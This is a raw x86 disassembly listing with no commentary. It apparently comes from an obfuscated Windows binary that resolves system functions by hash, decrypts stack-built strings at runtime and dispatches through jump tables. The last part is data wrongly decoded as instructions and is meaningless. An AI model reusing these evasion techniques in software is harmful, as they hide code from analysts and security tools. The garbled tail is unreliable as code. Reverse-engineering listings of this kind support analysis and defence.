mov ecx, 0xffffffff
mov dword [esp + 0x20], 0x22
mov edi, dword [esp + 0x18]
add edi, eax
adc esi, ecx
mov edx, dword [esp + 0x20]
mov dword [esp], edi
mov ebp, esi
mov edi, ebp
mov ebp, dword [esp]
mov dword [esp + 0x20], edx
mov edx, dword [esp + 0x1c]
movsx eax, byte [edx]
lea esi, [eax - 0x30]
cmp esi, 0xa
jb 0x4285ed
mov ecx, eax
and ecx, 0xffffffdf
add ecx, 0xffffffbf
cmp ecx, 0x19
ja 0x4286a8
or al, 0x20
cmp al, 0x66
jg 0x4286a8
movsx esi, al
add esi, 0xffffffa9
mov dword [esp + 0x18], esi
inc edx
mov dword [esp + 0x1c], edx
mov eax, ebp
and eax, edi
mov dword [esp], 0xffffffff
mov edx, 0x22
mov esi, ebp
mov ebp, 0xffffffff
cmp eax, 0xffffffff
je 0x4285b4
mov eax, 0xffffffef
add eax, 0x10
mov ecx, 0xfffffff
adc ecx, 0
cmp eax, esi
sbb ecx, edi
jae 0x428640
mov dword [esp], 0xffffffff
cmp dword [esp + 0x18], 0
jne 0x4285b4
jmp 0x428587
mov edx, edi
mov eax, esi
or eax, 0x10
mov edi, esi
and edi, 0x10
mov ecx, edx
mul edi
mov dword [esp], eax
mov ebp, edx
mov eax, ecx
imul eax, edi
or ebp, eax
mov eax, 0xffffffef
and esi, eax
mov eax, 0xfffffff
and ecx, eax
xor edi, 0x10
mov eax, edi
mul esi
imul ecx, edi
or edx, ecx
add eax, dword [esp]
adc edx, ebp
mov ecx, dword [esp + 0x18]
mov esi, ecx
sar esi, 0x1f
add ecx, eax
mov ecx, esi
adc ecx, edx
mov ecx, edx
mov dword [esp], 0xffffffff
mov ebp, 0xffffffff
mov edx, 0x22
jb 0x4285b4
jmp 0x4285a3
xor esi, esi
mov eax, ebp
neg eax
mov edx, 0
sbb edx, edi
cmp bl, 0x2d
je case.default.0x4286cb
mov eax, ebp
mov edx, edi
xor ebx, ebx
mov ecx, dword [esp + 0xc]
cmp ecx, dword [esp + 8]
setne bl
jmp dword [ebx*4 + 0x447ccc]
mov esi, dword [ecx]
xor edi, edi
jmp dword [edi*4 + 0x447cdc]
add ecx, 8
xor ebx, ebx
cmp ecx, dword [esp + 8]
setne bl
jmp dword [ebx*4 + 0x447ccc]
cmp dword [esp + 0x20], 0x22
setne bl
mov edi, dword [ecx + 4]
mov ebp, edi
shr ebp, 0x1c
xor ebp, edx
shl edi, 4
or edi, 1
xor edi, eax
or edi, ebp
sete bh
and bh, bl
movzx edi, bh
jmp dword [edi*4 + 0x447cd4]
mov edi, 1
jmp dword [edi*4 + 0x447cdc]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x447ce4]
mov ebx, dword [esp + 8]
mov edx, dword [esp + 0x10]
mov ebp, dword [esp + 0x78]
jmp dword [0x447cf4]
mov eax, dword [esp + 0xa8]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x88]
mov dword [esp + 0x28], eax
mov eax, 0xffffffff
cmp byte [esi + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x4287df
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], esi
mov dword [esp + 0x8c], 0
mov dword [esp + 0x90], 0
push 0xe18a387a
push dword [0x44cf48]
call fcn.0043f910
add esp, 8
lea ecx, [esp + 0x8c]
lea edx, [esp + 0x94]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x3c]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov ebx, dword [esp + 8]
mov ebp, dword [esp + 0x78]
jmp dword [ecx*4 + 0x447cec]
mov edx, dword [esp + 0x10]
jmp dword [0x447cf4]
movzx eax, byte [esi]
test al, al
je 0x428809
inc esi
mov ecx, dword [esp + 4]
mov byte [ecx], al
inc ecx
movzx eax, byte [esi]
inc esi
test al, al
jne 0x4287fc
jmp 0x42880d
mov ecx, dword [esp + 4]
mov word [ecx], 0x203a
mov eax, ecx
add eax, 2
mov esi, dword [esp + 0x8c]
test esi, esi
je 0x42884d
mov ecx, dword [esp + 0x90]
mov edx, esi
and edx, 3
je 0x428851
xor edi, edi
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x428832
add eax, edi
mov edx, esi
sub edx, edi
mov edi, eax
jmp 0x428853
mov edi, eax
jmp 0x428891
mov edx, esi
cmp esi, 4
jb 0x428891
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea edi, [eax + 4]
mov byte [eax + 3], bl
mov eax, edi
add edx, 0xfffffffc
jne 0x428858
mov byte [edi], 0xa
inc edi
mov dword [esp + 4], edi
push 0xa7ffa4f5
push dword [0x44cf30]
call fcn.0043f910
add esp, 8
push dword [esp + 0x90]
call eax
mov dl, 1
mov ebx, dword [esp + 8]
jmp dword [0x447cf4]
push dword [esp + 0x88]
mov esi, edx
call fcn.004085a0
mov edx, esi
add esp, 4
add ebp, 4
mov ebp, dword [ebp]
xor eax, eax
test ebp, ebp
setne al
jmp dword [eax*4 + 0x447c9c]
push edi
call fcn.004085a0
add esp, 4
mov edi, ebx
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x24], 0xf0fffefd
mov byte [esp + 0x28], 0
mov ecx, 0x55
mov edx, 0xaa
nop
nop
mov esi, edx
and esi, 0x81
mov ebx, ecx
and ebx, 0x4e
or ebx, esi
xor bl, byte [esp + ecx - 0x31]
xor bl, 0x91
add bl, 0x57
mov byte [esp + ecx - 0x31], bl
inc ecx
dec edx
cmp ecx, 0x5a
jne 0x428910
mov ecx, dword [0x44cf3c]
test ecx, ecx
mov ebx, edi
je 0x428968
mov edx, dword [esp + 0x24]
xor esi, esi
mov edi, dword [0x44cf40]
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x428960
inc esi
cmp ecx, esi
jne 0x428950
jmp 0x428968
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x428990
mov edi, dword [esp + 0xc]
mov ebp, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
jmp dword [0x447d0c]
mov eax, edx
and al, 1
movzx ecx, al
mov eax, edx
jmp dword [ecx*4 + 0x447d14]
jmp dword [0x447d1c]
push eax
push 4
push ecx
push dword [0x44cf44]
call fcn.0043df80
add esp, 0x10
mov edi, dword [esp + 0xc]
mov ebp, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
jmp dword [0x447d0c]
mov dword [esp + 0x80], esi
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447c74]
xor edx, edx
mov dword [esp + 4], ebp
jmp dword [0x447d0c]
push dword [esp + 0x80]
mov esi, edx
call fcn.004085a0
add esp, 4
mov edx, esi
mov eax, edx
and al, 1
movzx ecx, al
mov eax, esi
jmp dword [ecx*4 + 0x447d14]
mov eax, dword [esp + 4]
mov byte [eax], 0
mov dword [esp + 0x24], 0xb3aea959
mov dword [esp + 0x28], 0xd7c3bab5
mov dword [esp + 0x2c], 0xd0d4d2c9
mov dword [esp + 0x30], 0xcede3217
mov dword [esp + 0x34], 0x3b1dc4c9
mov dword [esp + 0x38], 0xc1d7c2df
mov dword [esp + 0x3c], 0xcfc203c7
mov dword [esp + 0x40], 0x75c0
mov eax, 0xb3cbebba
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x4c34146a]
xor ecx, eax
mov edx, ecx
xor edx, 0x1f
and ecx, 0x60
add ecx, ecx
sub ecx, edx
add cl, 0x7d
mov byte [esp + eax + 0x4c34146a], cl
inc eax
cmp eax, 0xb3cbebda
jne 0x428a50
mov eax, dword [esp + 4]
sub eax, ebp
mov ecx, dword [esp + 0x100]
push eax
push ebp
lea eax, [esp + 0x2c]
push eax
call fcn.00409490
jmp dword [0x447d1c]
push ebp
mov esi, eax
call fcn.004085a0
mov eax, esi
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x447d2c]
and al, 1
jmp 0x428cde
lea eax, [esp + 0x9c]
push 0
push eax
push dword [esp + 0x84]
call fcn.00440670
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], ebp
mov dword [esp + 4], ebp
jmp dword [eax*4 + 0x447c7c]
mov esi, dword [esp + 0x9c]
lea eax, [esi + 1]
push eax
call fcn.00408590
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0x88]
call fcn.00440740
add esp, 0x10
not eax
shr eax, 0x1f
xor edx, edx
mov ecx, dword [esp + 0x14]
mov dword [esp + 4], ecx
jmp dword [eax*4 + 0x447c84]
mov esi, dword [esp + 0x9c]
mov byte [edi + esi], 0
push 0x20
call fcn.00408590
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x84], eax
mov ecx, eax
push esi
mov dword [esp + 0xa8], edi
push edi
call fcn.0042a790
movzx eax, al
xor edx, edx
mov ecx, dword [esp + 0x14]
mov dword [esp + 4], ecx
jmp dword [eax*4 + 0x447c8c]
mov dword [esp + 0x24], 0x85f88ee9
mov dword [esp + 0x28], 0xf280f099
mov dword [esp + 0x2c], 0x95f5e1c5
mov dword [esp + 0x30], 0xf8dbec9e
mov dword [esp + 0x34], 0x9eede898
mov dword [esp + 0x38], 0x9b93c6d1
mov dword [esp + 0x3c], 0xade3e09a
mov dword [esp + 0x40], 0xa5dfd8fd
mov word [esp + 0x44], 0x3fdb
mov dword [esp + 0x46], 0
mov byte [esp + 0x4a], 0
movzx eax, byte [esp + edx + 0x24]
lea ecx, [edx + 0xc5]
and ecx, eax
mov esi, ecx
and esi, 0xfffffffd
mov edi, ecx
and edi, 2
mov ebp, edx
mov edx, ecx
or edx, 0xfffffffd
inc edx
imul edx, esi
or ecx, 2
imul ecx, edi
sub edx, ecx
add eax, ebp
mov esi, 0x248ac63a
sub esi, eax
sub esi, edx
add eax, edx
add eax, 0xdb753ac5
mov edx, ebp
and esi, 0xda
and eax, 0x25
sub eax, esi
inc al
mov byte [esp + ebp + 0x24], al
mov eax, ebp
and eax, 0x1f
xor edx, 0x21b9769f
lea edx, [edx + eax*2]
add edx, 0xde468962
cmp edx, 0x27
jb case.default.0x428c77
mov ecx, dword [esp + 0x84]
lea eax, [esp + 0x24]
push eax
call fcn.0042a980
xor ecx, ecx
test eax, eax
setne cl
xor edx, edx
mov esi, dword [esp + 0x14]
mov dword [esp + 4], esi
jmp dword [ecx*4 + 0x447c94]
mov edi, dword [esp + 0xa4]
jmp dword [0x447cfc]
mov dword [esp + 0x10], edx
mov esi, dword [esp + 0x84]
mov ecx, esi
call fcn.0042aaf0
push esi
call fcn.004085a0
add esp, 4
jmp dword [0x447d04]
mov dword [esp + 0x10], edx
jmp dword [0x447d04]
add eax, 8
xor edx, edx
mov ebp, dword [eax]
xor eax, eax
test ebp, ebp
setne al
mov ecx, dword [esp + 0x14]
mov dword [esp + 4], ecx
jmp dword [eax*4 + 0x447c9c]
add esp, 0xec
pop esi
pop edi
pop ebx
pop ebp
ret
test edi, edi
je 0x428cd3
cmp edi, ebx
je 0x428cd3
mov ebp, eax
mov esi, edi
jmp 0x428cf7
add esi, 8
cmp esi, ebx
je 0x428d08
mov eax, dword [esi]
test eax, eax
je 0x428cf0
push eax
call fcn.004085a0
add esp, 4
jmp 0x428cf0
push edi
call fcn.004085a0
add esp, 4
mov eax, ebp
jmp 0x428cd3
lea eax, [esp + 0x7c]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.00440330
add esp, 0x14
mov eax, ebx
sub eax, edi
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.00408590
add esp, 4
mov ebp, eax
lea eax, [esp + 0x7c]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.00440330
add esp, 0x14
jmp dword [0x447c6c]
jmp 0x428cde
push esi
call fcn.004085a0
add esp, 4
push esi
call fcn.004085a0
add esp, 4
xor eax, eax
jmp dword [0x447c5c]
push esi
call fcn.004085a0
add esp, 4
mov ecx, dword [case.0x4286cb.30]
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
jb 0x447b61
add byte [eax + edi*2 + 0x42], al
add byte [eax + edi*2 + 0x42], al
add byte [ebp + 0x72], bl
inc edx
add byte [ebx + esi*2], dl
inc edx
add ch, dh
jbe 0x447b75
add byte [eax + 0x73], cl
inc edx
add byte [ebp + 0x73], dh
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax + 0x73], cl
inc edx
add byte [ecx], al
add byte [eax], al
add byte [edx + 0x73], bl
inc edx
add byte [edi + esi*2], al
inc edx
add byte [ecx - 0x2fffbd8d], bh
jae 0x447b9d
add byte [eax + 0x73], ah
inc edx
add cl, bl
jae 0x447ba5
add byte [eax + 0x73], ah
inc edx
jae 0x447ba9
add byte [edi], cl
je 0x447bad
add byte [eax + 0x73], ah
inc edx
jae 0x447bb1
add byte [edi], bh
je 0x447bb5
add al, al
jne 0x447bb9
add dl, bl
jbe 0x447bbd
add dl, al
jbe 0x447bc1
add bl, cl
jbe 0x447bc5
add dl, bl
jbe 0x447bc9
add dl, al
jbe 0x447bcd
add byte [eax - 0x1ffbd8a], ah
jne 0x447bd5
add dh, al
jne 0x447bd9
add byte [esi + 0x76], ch
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx + 0x73], bl
inc edx
jae 0x447be9
add byte [ecx], al
add byte [eax], al
add byte [eax + edi*2], dl
inc edx
js 0x447bf1
add byte [eax + edi*2], ah
inc edx
js 0x447bf5
add byte [ebx], bl
jp 0x447bf9
add byte [eax + 0x7a], al
inc edx
jp 0x447bfd
add byte [eax + 0x7a], al
inc edx
jp 0x447c01
add byte [eax + 0x7a], al
inc edx
jp 0x447c05
add byte [eax + 0x7a], al
inc edx
jp 0x447c09
add byte [esi + 0x7a], al
inc edx
jp 0x447c0d
add byte [ebx + edi*2 + 0x42], bh
jnp 0x447c11
add byte [esi + 0x5100427b], dl
jl 0x447c19
add byte [edi + 0x7700427b], ah
jl 0x447c21
jnp 0x447c1d
add byte [edi + 0x7c], dh
inc edx
add byte [edi - 0x5effbd84], bl
jle 0x447c29
add al, cl
jl 0x447c2d
add byte [ebx + 0x200427e], ah
jge 0x447c35
add byte [ecx + 0x5f00427e], al
jle 0x447c39
add byte [edi + 0x7d], bl
inc edx
jge 0x447c3d
add al, dh
jge 0x447c41
add byte [ecx + 0x7d], ch
inc edx
jge 0x447c45
add byte [ecx + 0x7e], dh
inc edx
jle 0x447c49
add al, dh
jge 0x447c4d
add byte [ecx + 0x6c00427e], al
jle 0x447c51
add byte [ecx + eax*4 + 0x42], ch
add byte [ecx - 0x43ffbd82], al
add dword [edx], case.0x427438.34
mov esp, 0x87004281
add dword [edx], case.0x427438.44
mov dword [0xa900427e], eax
jle 0x447c61
add byte [ebx - 0x56ffbd82], ah
jle 0x447c65
add byte [ecx - 0x5effbd82], ch
jle 0x447c69
add byte [ecx - 0x7effbd82], ah
jle 0x447c6d
add byte [ecx + 0x4800427c], al
jg 0x447c75
jl 0x447c71
add byte [eax + 0x7f], cl
inc edx
add byte [esi + 0x7f], dl
inc edx
jg 0x447c79
add byte [eax - 0x15ffbd84], bl
jl 0x447c7d
add dl, ch
add byte [edx], 0x61
lea eax, [edx]
xor al, byte [ecx - 0x7ebbffbe]
inc edx
add byte [esi], bh
add dword [edx], case.0x42723a.76
add dword ds:[edx], case.0x42723a.74
add dword [edx], case.0x42723a.77
popal
add dword [edx], case.0x42723a.74
lea eax, [edx]
outsd dx, dword [esi]
lea eax, [edx]
lea ax, [edx]
popal
lea eax, [edx]
lea ax, [edx]
lea eax, [edx]
adc eax, 0x2c00428d
lea eax, [edx]
sub al, 0x8d
inc edx
add byte [ecx + ecx*4 - 0x72eaffbe], dh
inc edx
add bh, al
lea eax, [edx]
mov ah, 0x89
inc edx
add byte [0xc700428d], dl
mov dword [edx], eax
adc eax, 0xc700428d
lea eax, [edx]
invalid
mov dword [edx], eax
mov ebp, 0xf100428a
mov al, byte [edx]
int1
mov byte [edx], al
mov al, byte [edx]
lodsb al, byte [esi]
mov word [edx], es
xor byte [ebx - 0x7381ffbe], cl
inc edx
add byte [ecx + 0x7e00428b], bl
mov word [edx], es
mov dh, 0x8c
inc edx
add byte [esi - 0x74], bh
inc edx
add byte [0xf1004284], al
add dword [edx], 0x2c
test byte [edx], al
test byte [edx + eax*2 + 0x42850200], al
add byte [ecx], dh
test dword [edx], eax
inc eax
test dword [edx], eax
add byte [ebp - 0x7a8cffbe], 0x42
add byte [eax - 268418427], al
test byte [edx], al
xor eax, 0xfe004287
xchg byte [edx], al
sub dword [edi - 0x791fffbe], eax
inc edx
add byte [0xeb004287], dh
add al, ah
xchg byte [edx], al
xor eax, 0xeb004287
xchg byte [edx], al
inc ebx
xchg dword [edx], eax
push ebp
xchg dword [edx], eax
out 0x87, al
inc edx
add al, dh
xchg dword [edx], eax
ror dword [eax - 0x7c0effbe], 0x42
add byte [ebx - 1409269108], cl
add cl, dh
add dword [edx], 0xffffff8b
mov word [edx], es
lodsb al, byte [esi]
mov word [edx], es
call 0xf144bf91
mov byte [edx], al
ror dword [ecx - 0x7685ffbe], cl
inc edx
add byte [edx - 0x9ffbd77], cl
mov dword [edx], eax
xchg edi, eax
mov al, byte [edx]
mov al, 0x8a
inc edx
add byte [eax - 0x4fffbd76], dh
mov al, byte [edx]
mov dh, 0x8a
inc edx
add byte [eax - 0x49ffbd76], dh
mov es, word [edx]
ror byte [esi - 0x712fffbe], 1
inc edx
add al, dl
mov es, word [edx]
jns 0x447cd7
inc edx
add al, dl
mov es, word [edx]
or ecx, dword [edi - 0x70cdffbe]
inc edx
add byte [ecx], dl
pop dword [edx]
sbb cl, byte [edi - 0x70cfffbe]
inc edx
add byte [eax], dh
pop dword [edx]
jns 0x447cf7
inc edx
add byte [eax], dh
pop dword [edx]
xchg ecx, eax
inc edx
add byte [edx + 0x6a004291], ah
xchg ecx, eax
inc edx
add byte [edi - 0x6f], dh
inc edx
add byte [eax], cl
xchg ebx, eax
inc edx
add byte [eax], dh
xchg ebx, eax
inc edx
add byte [edx], bh
xchg ebx, eax
inc edx
add byte [eax - 0x6d], dl
inc edx
add byte [ebp - 0x6d], ah
inc edx
add byte [eax - 0x6d], dl
inc edx
add dh, dl
cwde
inc edx
add byte [ebx - 0x6d], dh
inc edx
add byte [eax - 0x62], ah
inc edx
add byte [eax - 0x62], al
inc edx
add byte [eax - 0x62], al
inc edx
add byte [eax - 0x41ffbd68], dh
cwde
inc edx
add al, dh
xchg esp, eax
inc edx
add al, dh
xchg esp, eax
inc edx
add al, dh
xchg esp, eax
inc edx
add al, dh
xchg esp, eax
inc edx
add dh, dh
xchg esp, eax
inc edx
add byte [esi + 0x1b004298], bh
xchg ebp, eax
inc edx
add byte [ecx + ebx*4 - 0x6411ffbe], dl
inc edx
add byte [ebp - 0x6bffbd6d], al
cdq
inc edx
add byte [ecx - 0x6d], bh
inc edx
add byte [ebx - 0x5cffbd6d], dl
xchg esp, eax
inc edx
add byte [esp + edx*4 - 0x6b30ffbe], ch
inc edx
add bl, bl
xchg esp, eax
inc edx
add ah, al
cwde
inc edx
add al, dl
cwde
inc edx
add al, dl
cwde
inc edx
add al, dl
cwde
inc edx
add dh, dl
cwde
inc edx
add al, dl
cwde
inc edx
add byte [eax], dl
xchg ebx, eax
inc edx
add byte [edx - 0x67], ch
inc edx
add byte [eax + 0x30004291], dl
xchg ebp, eax
inc edx
add byte [edx - 0x68], dl
inc edx
add byte [eax - 0x68], dh
inc edx
add byte [esi - 0x68], bh
inc edx
add byte [edi - 0x5fffbd68], al
cwde
inc edx
add byte [eax - 0x6fffbd68], ah
xchg ecx, eax
inc edx
add byte [eax - 0x25ffbd68], ah
lahf
inc edx
add byte [edx - 0x59], ah
inc edx
add byte [esi - 0x4affbd5b], cl
movsd dword es:[edi], dword [esi]
inc edx
add byte [esi - 0x1bffbd5b], cl
movsd dword es:[edi], dword [esi]
inc edx
add al, dh
movsd dword es:[edi], dword [esi]
inc edx
add byte [eax], cl
cmpsb byte [esi], byte es:[edi]
inc edx
add dh, dh
movsd dword es:[edi], dword [esi]
inc edx
add byte [eax], al
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [eax], al
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [eax], al
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [eax], al
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [edx - 0x59], ah
inc edx
add byte [ebx], ch
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [edx], dh
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [edi + 0x530042a6], dl
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [ebp + 0x4e0042a6], al
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax - 0x597affbe], dl
inc edx
add ch, dl
mov al, byte [0x9fe00042]
inc edx
add ch, ah
mov al, byte [0x9fe00042]
inc edx
add ch, dh
mov al, byte [0x9fe00042]
inc edx
add byte [eax], al
mov eax, dword [0xa1000042]
inc edx
add byte [eax], al
mov eax, dword [0xa1020042]
inc edx
add byte [eax], dl
mov eax, dword [0x9fe00042]
inc edx
add byte [eax], ah
mov eax, dword [0x9fe00042]
inc edx
add al, bh
movsb byte es:[edi], byte [esi]
inc edx
add byte [0xf80042a5], bh
movsb byte es:[edi], byte [esi]
inc edx
add byte [ebx], dl
inc edx
add byte [edx], ch
mov eax, dword [0xa3200042]
inc edx
add byte [esi + 0x510042a3], dh
mov dword [0xa3810042], eax
inc edx
add byte [ecx - 0x5f], cl
inc edx
add byte [ebp - 0x5f], bh
inc edx
add byte [ecx + 0x90042a1], cl
mov dword [0xa3810042], eax
inc edx
add byte [eax - 0x6fffbd5d], dl
mov dword [0xa3900042], eax
inc edx
add byte [edx - 0x67ffbd5d], dl
mov dword [0xa3b00042], eax
inc edx
add byte [eax - 0x4fffbd5d], dh
mov dword [0xa3b00042], eax
inc edx
add byte [esi - 0x43ffbd5d], dh
mov dword [0xa4560042], eax
inc edx
add byte [edx], ch
mov eax, dword [0xa4560042]
inc edx
add byte [esi], dh
mov eax, dword [0x9fe00042]
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebp - 0x74ffbd5a], al
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [edi + 0x400042a6], dl
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax - 0x59], al
inc edx
add byte [eax - 0x59], al
inc edx
add byte [edx - 0x59], al
inc edx
add byte [eax - 0x59], cl
inc edx
add byte [edx - 0x59], ah
inc edx
add byte [edi - 0x59], ch
inc edx
add byte [eax - 0x59], bh
inc edx
add byte [edx - 0x59], ah
inc edx
add byte [edi - 0x59], ch
inc edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx - 0x2c], bh
add byte [eax], al
add byte [eax], al
add byte [eax], al
jp 0x447f66
insd dword es:[edi], dx
add ah, dh
fsubr dword [ebp]
out dx, eax
fsubr dword [ebp]
fld xword cs:[ebp]
jmp 0x447f8a